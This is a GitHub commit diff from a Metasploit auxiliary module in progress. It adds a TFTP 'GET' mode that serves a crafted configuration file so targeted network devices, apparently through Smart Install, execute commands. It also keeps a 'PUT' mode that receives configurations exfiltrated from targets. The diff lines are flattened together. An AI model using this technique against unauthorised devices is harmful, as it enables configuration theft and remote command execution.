WORK IN PROGRESS - "GET"

Work in progress of GET, and PUT. PUT works fine for grabbing the configuration. GET will be used for service a config to execute commands , or the also WIP action "UPLOAD"
MS-2855/keylogger-mettle-extension
Austin 2017-11-17 15:36:27 -05:00 committed by GitHub
parent 8b59c4615b
commit b457c60542
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 13 additions and 5 deletions

View File

@ -48,13 +48,21 @@ class MetasploitModule < Msf::Auxiliary
) )
end end
def start_tftp def start_tftp(req_type)
# http://rapid7.github.io/metasploit-framework/api/Rex/Proto/TFTP/Server.html
print_status("Starting TFTP Server...") print_status("Starting TFTP Server...")
@tftp = Rex::Proto::TFTP::Server.new(69, '0.0.0.0', { 'Msf' => framework, 'MsfExploit' => self }) @tftp = Rex::Proto::TFTP::Server.new(69, '0.0.0.0', { 'Msf' => framework, 'MsfExploit' => self })
@tftp.incoming_file_hook = Proc.new{|info| process_incoming(info) } case
@tftp.start when req_type == "PUT"
@tftp.incoming_file_hook = Proc.new{|info| process_incoming(info) }
@tftp.start
when req_type == "GET" # yeah yeah, so original. lmao.
# read global variables data, and size
config_exec_data = @config_exec.read(@config_exec.stat.size)
@tftp.register_file("#{Rex::Text.rand_text_alpha}.conf", config_exec_data)
@tftp.start
end
add_socket(@tftp.sock) add_socket(@tftp.sock)
@main_thread = ::Thread.current @main_thread = ::Thread.current
end end
@ -131,7 +139,7 @@ class MetasploitModule < Msf::Auxiliary
connect connect
return unless smi? return unless smi?
when action.name == 'DOWNLOAD' when action.name == 'DOWNLOAD'
start_tftp start_tftp("PUT")
connect connect
return unless smi? return unless smi?
print_status("Waiting #{datastore['DELAY']} seconds before requesting config") print_status("Waiting #{datastore['DELAY']} seconds before requesting config")